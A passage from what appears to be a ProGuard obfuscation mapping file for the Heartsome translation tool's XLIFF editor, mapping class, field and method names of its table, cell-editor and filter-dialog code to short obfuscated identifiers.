run(net.sourceforge.nattable.NatTable,org.eclipse.swt.events.MouseEvent) -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.PopupMenuAction -> net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.c: + net.sourceforge.nattable.selection.SelectionLayer selectionLayer -> selectionLayer + org.eclipse.swt.widgets.Menu menu -> pD + void run(net.sourceforge.nattable.NatTable,org.eclipse.swt.events.MouseEvent) -> run + boolean isSelected(int) -> isSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.EditableManager -> net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.a: + boolean editable -> editable + boolean isSource -> isSource + java.lang.String uneditableMessage -> VP + net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode sourceEditMode -> VQ + void setSourceEditMode(net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode) -> setSourceEditMode + net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode getSourceEditMode() -> getSourceEditMode + boolean getEditable() -> getEditable + void setEditable(boolean) -> setEditable + void setUneditableMessage(java.lang.String) -> eA + java.lang.String getUneditableMessage() -> getUneditableMessage + void judgeEditable() -> judgeEditable + void setupReadOnlyMode() -> kw + void setupEditMode() -> kx +net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode -> net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.b: + net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode DISEDITABLE -> VR + net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode ONCE_EDITABLE -> VS + net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode ALWAYS_EDITABLE -> VT + int[] $SWITCH_TABLE$net$heartsome$cat$ts$ui$xliffeditor$nattable$celleditor$SourceEditMode -> VU + net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode[] ENUM$VALUES -> VV + net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode getNextMode() -> ky + java.lang.String getImagePath() -> getImagePath + net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode[] values() -> kz + net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode valueOf(java.lang.String) -> eB + int[] $SWITCH_TABLE$net$heartsome$cat$ts$ui$xliffeditor$nattable$celleditor$SourceEditMode() -> kA +net.heartsome.cat.ts.ui.xliffeditor.nattable.config.VerticalNatTableConfig -> net.heartsome.cat.ts.ui.xliffeditor.nattable.config.a: + int ID_COL_INDEX -> VW + int STATUS_COL_INDEX -> VX + int SOURCE_COL_INDEX -> VY + int TARGET_COL_INDEX -> VZ + int ROW_SPAN -> Wa + int SOURCE_INDEX_PER_SPAN -> Wb + int TARGET_INDEX_PER_SPAN -> Wc + boolean isSource(int,int) -> e + boolean isTarget(int,int) -> f + int getRealRowIndex(int) -> U + int getSourceRowIndex(int) -> V + int getTargetRowIndex(int) -> W +net.heartsome.cat.ts.ui.xliffeditor.nattable.config.XLIFFEditorCompositeLayerConfiguration -> net.heartsome.cat.ts.ui.xliffeditor.nattable.config.b: + net.sourceforge.nattable.style.IStyle oddStyle -> Wd + net.sourceforge.nattable.style.IStyle evenStyle -> We + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable xliffEditor -> xX + void addEditingUIConfig() -> addEditingUIConfig + void addEditingHandlerConfig() -> addEditingHandlerConfig + void addAlternateRowColoringConfig(net.sourceforge.nattable.layer.CompositeLayer) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.config.XLIFFEditorCompositeLayerConfiguration$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.config.c: + net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.KeyEditAction action -> Wf + net.heartsome.cat.ts.ui.xliffeditor.nattable.config.XLIFFEditorCompositeLayerConfiguration this$0 -> Wg + void configureUiBindings(net.sourceforge.nattable.ui.binding.UiBindingRegistry) -> configureUiBindings +net.heartsome.cat.ts.ui.xliffeditor.nattable.config.XLIFFEditorCompositeLayerConfiguration$1$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.config.d: + net.heartsome.cat.ts.ui.xliffeditor.nattable.config.XLIFFEditorCompositeLayerConfiguration$1 this$1 -> Wh + boolean matches(org.eclipse.swt.events.KeyEvent) -> matches +net.heartsome.cat.ts.ui.xliffeditor.nattable.config.XLIFFEditorEditConfiguration -> net.heartsome.cat.ts.ui.xliffeditor.nattable.config.e: + void configureTypedLayer(net.sourceforge.nattable.layer.CompositeLayer) -> b + void configureRegistry(net.sourceforge.nattable.config.IConfigRegistry) -> configureRegistry + void configureTypedLayer(net.sourceforge.nattable.layer.ILayer) -> configureTypedLayer +net.heartsome.cat.ts.ui.xliffeditor.nattable.config.XLIFFEditorSelectionLayerConfiguration -> net.heartsome.cat.ts.ui.xliffeditor.nattable.config.f: + void addSelectionStyleConfig() -> addSelectionStyleConfig + void addSelectionUIBindings() -> addSelectionUIBindings + void addTickUpdateConfig() -> addTickUpdateConfig + void addMoveSelectionConfig() -> addMoveSelectionConfig +net.heartsome.cat.ts.ui.xliffeditor.nattable.config.XLIFFEditorSelectionLayerConfiguration$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.config.g: + net.heartsome.cat.ts.ui.xliffeditor.nattable.config.XLIFFEditorSelectionLayerConfiguration this$0 -> Wi + void configureHeaderHasSelectionStyle(net.sourceforge.nattable.config.IConfigRegistry) -> configureHeaderHasSelectionStyle + void configureHeaderFullySelectedStyle(net.sourceforge.nattable.config.IConfigRegistry) -> configureHeaderFullySelectedStyle + void configureSelectionAnchorStyle(net.sourceforge.nattable.config.IConfigRegistry) -> configureSelectionAnchorStyle +net.heartsome.cat.ts.ui.xliffeditor.nattable.config.XLIFFEditorSelectionLayerConfiguration$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.config.h: + net.heartsome.cat.ts.ui.xliffeditor.nattable.config.XLIFFEditorSelectionLayerConfiguration this$0 -> Wi + void configureUiBindings(net.sourceforge.nattable.ui.binding.UiBindingRegistry) -> configureUiBindings + void configureMoveUpBindings(net.sourceforge.nattable.ui.binding.UiBindingRegistry,net.sourceforge.nattable.ui.action.IKeyAction) -> configureMoveUpBindings + void configureMoveDownBindings(net.sourceforge.nattable.ui.binding.UiBindingRegistry,net.sourceforge.nattable.ui.action.IKeyAction) -> configureMoveDownBindings + void configureBodyMouseClickBindings(net.sourceforge.nattable.ui.binding.UiBindingRegistry) -> configureBodyMouseClickBindings + void configureBodyMouseDragMode(net.sourceforge.nattable.ui.binding.UiBindingRegistry) -> configureBodyMouseDragMode +net.heartsome.cat.ts.ui.xliffeditor.nattable.dataprovider.VerticalLayerBodyDataProvider -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dataprovider.a: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.Object getDataValue(int,int) -> getDataValue + int getRowCount() -> getRowCount + void setDataValue(int,int,java.lang.Object) -> setDataValue + java.lang.Object getRowObject(int) -> getRowObject + int indexOfRowObject(java.lang.Object) -> indexOfRowObject + net.sourceforge.nattable.layer.cell.DataCell getCellByPosition(int,int) -> getCellByPosition +net.heartsome.cat.ts.ui.xliffeditor.nattable.dataprovider.XliffEditorDataProvider -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dataprovider.b: + net.heartsome.cat.ts.core.file.XLFHandler handler -> Mg + int CACHE_SIZE -> Wj + net.sourceforge.nattable.data.IColumnAccessor columnAccessor -> columnAccessor + net.heartsome.cat.ts.core.file.XLFHandler getHandler() -> kB + java.lang.Object getRowObject(int) -> getRowObject + void cache(int,java.lang.Object) -> a + int indexOfRowObject(java.lang.Object) -> indexOfRowObject + int getColumnCount() -> getColumnCount + java.lang.Object getDataValue(int,int) -> getDataValue + int getRowCount() -> getRowCount + void setDataValue(int,int,java.lang.Object) -> setDataValue + void setSrcValue(int,java.lang.Object) -> b + void setTgtValue(int,java.lang.Object) -> c +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.AddOrUpdateNoteDialog -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.a: + int DIALOG_ADD -> DIALOG_ADD + int DIALOG_EDIT -> DIALOG_EDIT + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable xliffEditor -> xX + org.eclipse.swt.widgets.Combo cmbRange -> Wk + org.eclipse.swt.widgets.Text txtNote -> Wl + int addOrEditDialog -> Wm + java.lang.String[] noteItem -> Wn + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void okPressed() -> okPressed +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.b: + org.eclipse.swt.widgets.List customFilterList -> Wo + org.eclipse.swt.widgets.Combo cmbFilter -> ET + org.eclipse.swt.widgets.Composite tParent -> Wp + org.eclipse.swt.custom.ScrolledComposite scroll -> Ns + org.eclipse.swt.widgets.Composite dynaComp -> Wq + org.eclipse.swt.widgets.Text filterNameTxt -> Wr + org.eclipse.swt.widgets.Button andBtn -> Ws + org.eclipse.swt.widgets.Button orBtn -> Wt + org.eclipse.swt.graphics.Color gray -> Wu + org.eclipse.swt.graphics.Color black -> Wv + java.lang.String initPropName -> Ww + java.lang.String initPropValue -> Wx + java.lang.String initValue -> Wy + java.lang.String RESULT_FAILED -> Wz + java.util.LinkedHashMap customFilters -> WA + java.util.LinkedHashMap customFiltersAddition -> WB + java.util.LinkedHashMap customFiltersIndex -> WC + java.util.ArrayList conditionList -> WD + java.util.LinkedHashMap filterNameData -> WE + java.util.LinkedHashMap conditionsData -> WF + java.util.LinkedHashMap equalsConditionsData -> WG + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void edit() -> kC + boolean isAdd() -> kD + void refresh() -> refresh + void initCustomFilterList(org.eclipse.swt.widgets.Composite) -> L + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void cancelPressed() -> cancelPressed + boolean close() -> close + boolean isChange() -> kE + void okPressed() -> okPressed + void reload() -> reload + void setComboData(org.eclipse.swt.widgets.Combo,java.util.Map) -> a + void setListData(org.eclipse.swt.widgets.List,java.util.Map) -> a + void setGray(org.eclipse.swt.widgets.Text,java.lang.String) -> a + java.util.ArrayList access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog) -> a + org.eclipse.swt.widgets.Composite access$1(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog) -> b + org.eclipse.swt.custom.ScrolledComposite access$2(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog) -> c + java.lang.String access$3(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog) -> d + void access$4(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog,org.eclipse.swt.widgets.Text,java.lang.String) -> a + org.eclipse.swt.graphics.Color access$5(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog) -> e + org.eclipse.swt.graphics.Color access$6(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog) -> f + java.lang.String access$7(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog) -> g + java.lang.String access$8(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog) -> h + void access$9(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog,org.eclipse.swt.widgets.Combo,java.util.Map) -> a + boolean access$10(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog) -> i + void access$11(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog) -> j + org.eclipse.swt.widgets.List access$12(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog) -> k + java.util.LinkedHashMap access$13(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog) -> l + java.util.LinkedHashMap access$14(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog) -> m + java.util.LinkedHashMap access$15(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog) -> n + void access$16(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog) -> o +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.c: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog this$0 -> WH + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.d: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog this$0 -> WH + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$3 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.e: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog this$0 -> WH + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$4 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.f: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog this$0 -> WH + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$5 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.g: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog this$0 -> WH + org.eclipse.swt.widgets.Text val$text -> HI + java.lang.String val$initTxt -> WI + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost + void focusGained(org.eclipse.swt.events.FocusEvent) -> focusGained +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.h: + org.eclipse.swt.widgets.Combo filterName -> WJ + org.eclipse.swt.widgets.Combo conditions -> WK + org.eclipse.swt.widgets.Text value -> WL + org.eclipse.swt.widgets.Button addBtn -> Cx + org.eclipse.swt.widgets.Button reduceBtn -> WM + org.eclipse.swt.widgets.Composite propComp -> WN + org.eclipse.swt.widgets.Text propName -> WO + org.eclipse.swt.widgets.Text propValue -> WP + boolean isOther -> WQ + boolean isProp -> WR + java.lang.String[] tempIndex -> WS + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog this$0 -> WH + java.lang.String[] getTempIndex() -> kF + org.eclipse.swt.widgets.Combo getFilterName() -> kG + org.eclipse.swt.widgets.Combo getConditions() -> kH + org.eclipse.swt.widgets.Text getPropName() -> kI + org.eclipse.swt.widgets.Text getPropValue() -> kJ + org.eclipse.swt.widgets.Text getValue() -> kK + void disposeChild() -> kL + void init() -> init + void initBtn() -> kM + void initTxt() -> kN + void initPropTxt(org.eclipse.swt.widgets.Composite) -> M + void initConditions(boolean) -> E + void initFilterName() -> kO + java.lang.String getXpath(boolean) -> F + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite) -> a + org.eclipse.swt.widgets.Combo access$1(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite) -> b + void access$2(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite) -> c + org.eclipse.swt.widgets.Composite access$3(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite) -> d + void access$4(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite,org.eclipse.swt.widgets.Composite) -> a + void access$5(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite) -> e + void access$6(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite,boolean) -> a + void access$7(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite) -> f + void access$8(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite,org.eclipse.swt.widgets.Composite) -> b + boolean access$9(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite) -> g + void access$10(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite,boolean) -> c + void access$11(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite,boolean) -> b + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog access$12(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite) -> h +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.i: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite this$1 -> WT + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.j: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite this$1 -> WT + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite$3 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.k: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite this$1 -> WT + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost + void focusGained(org.eclipse.swt.events.FocusEvent) -> focusGained +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite$4 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.ag: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog$DynaComposite this$1 -> WT + boolean isState() -> kS + boolean isProp() -> kT + boolean isOther() -> isOther + void createProp() -> mn + void createOther() -> mT + void initTempComp() -> mU + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.l: + org.eclipse.swt.widgets.List customFilterList -> Wo + org.eclipse.swt.widgets.Composite tParent -> Wp + org.eclipse.swt.custom.ScrolledComposite scroll -> Ns + org.eclipse.swt.widgets.Composite dynaComp -> Wq + org.eclipse.swt.widgets.Text filterNameTxt -> Wr + org.eclipse.swt.widgets.Button andBtn -> Ws + org.eclipse.swt.widgets.Button orBtn -> Wt + java.util.LinkedHashMap customFilters -> WA + java.util.LinkedHashMap customFiltersAddtion -> WU + java.util.LinkedHashMap customFiltersIndex -> WC + org.eclipse.swt.widgets.Button btnIsTagged -> WV + org.eclipse.swt.widgets.Button btnQT -> WW + org.eclipse.swt.widgets.Button btnPT -> WX + org.eclipse.swt.widgets.Button btnIsRemoveFromSrc -> WY + int btnIsTaggedCheck -> WZ + int btnQTCheck -> Xa + int btnPTCheck -> Xb + int btnIsRemoveFromSrcCheck -> Xc + org.eclipse.swt.graphics.Color gray -> Wu + org.eclipse.swt.graphics.Color black -> Wv + java.util.ArrayList conditionList -> WD + java.lang.String initValue -> Wy + java.lang.String RESULT_FAILED -> Wz + java.lang.String[] filterData -> Xd + java.lang.String[] conditionData1 -> Xe + java.lang.String[] conditionData2 -> Xf + java.util.LinkedHashMap mqOperators -> Xg + int getCheck() -> kU + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void deletePreference(java.lang.String[]) -> a + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void edit() -> kC + void initCustomFilterList(org.eclipse.swt.widgets.Composite) -> L + boolean isUEVersion() -> kV + boolean isTEInstalled() -> kW + void okPressed() -> okPressed + void appendCheckCondition(java.lang.StringBuilder) -> a + void reload() -> reload + void refresh() -> refresh + boolean isAdd() -> kD + void cancelPressed() -> cancelPressed + boolean close() -> close + boolean isChange() -> kE + void main(java.lang.String[]) -> main + void setGray(org.eclipse.swt.widgets.Text,java.lang.String) -> a + void setComboData(org.eclipse.swt.widgets.Combo,java.lang.String[]) -> a + void setListData(org.eclipse.swt.widgets.List,java.util.Map) -> a + java.util.LinkedHashMap access$0() -> kX + java.util.ArrayList access$1(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog) -> a + java.lang.String[] access$2() -> kY + org.eclipse.swt.widgets.Composite access$3(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog) -> b + org.eclipse.swt.custom.ScrolledComposite access$4(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog) -> c + void access$5(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog,org.eclipse.swt.widgets.Text,java.lang.String) -> a + void access$6(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog,org.eclipse.swt.widgets.Combo,java.lang.String[]) -> a + boolean access$7(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog) -> d + java.lang.String[] access$8() -> kZ + java.lang.String[] access$9() -> la + boolean access$10(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog) -> e + void access$11(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog) -> f + org.eclipse.swt.widgets.List access$12(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog) -> g + void access$13(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog,java.lang.String[]) -> a + void access$14(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog) -> h + org.eclipse.swt.graphics.Color access$15(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog) -> i + org.eclipse.swt.graphics.Color access$16(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog) -> j +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.m: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog this$0 -> Xh + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.n: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog this$0 -> Xh + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$3 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.o: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog this$0 -> Xh + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$4 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.p: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog this$0 -> Xh + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$5 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.q: + org.eclipse.swt.widgets.Shell val$shell -> ct + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$6 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.r: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog this$0 -> Xh + org.eclipse.swt.widgets.Text val$text -> HI + java.lang.String val$initTxt -> WI + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost + void focusGained(org.eclipse.swt.events.FocusEvent) -> focusGained +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.s: + org.eclipse.swt.widgets.Combo filterName -> WJ + org.eclipse.swt.widgets.Combo conditions -> WK + org.eclipse.swt.widgets.Text value -> WL + org.eclipse.swt.widgets.Button addBtn -> Cx + org.eclipse.swt.widgets.Button reduceBtn -> WM + boolean isSource -> isSource + boolean isMatchQt -> Xi + boolean isKeyword -> Xj + java.lang.String[] tempIndex -> WS + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog this$0 -> Xh + java.lang.String getXpath(boolean) -> F + java.lang.String[] getTempIndex() -> kF + boolean isSource() -> isSource + boolean isMatchQt() -> lb + boolean isKeyword() -> lc + org.eclipse.swt.widgets.Combo getFilterName() -> kG + org.eclipse.swt.widgets.Combo getConditions() -> kH + org.eclipse.swt.widgets.Text getValue() -> kK + void init() -> init + void initBtn() -> kM + void initTxt(int) -> X + void initConditions(java.lang.String[]) -> b + void disposeChild() -> kL + void initMatchQtTextListener() -> ld + void initFilterName() -> kO + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite) -> a + void access$1(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite) -> b + void access$2(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite,int) -> a + void access$3(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite) -> c + void access$4(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite,java.lang.String[]) -> a + void access$5(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite) -> d + boolean access$6(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite) -> e + boolean access$7(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite) -> f + boolean access$8(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite) -> g + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog access$9(net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite) -> h +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.t: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite this$1 -> Xk + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.u: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite this$1 -> Xk + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite$3 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.v: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite this$1 -> Xk + void verifyText(org.eclipse.swt.events.VerifyEvent) -> verifyText +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite$4 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.w: + int max -> max + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite this$1 -> Xk + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite$5 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.x: + net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomMatchConditionDialog$DynaComposite this$1 -> Xk + void createSource() -> le + void createKeyword() -> lf + void createMatchQt() -> lg + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected 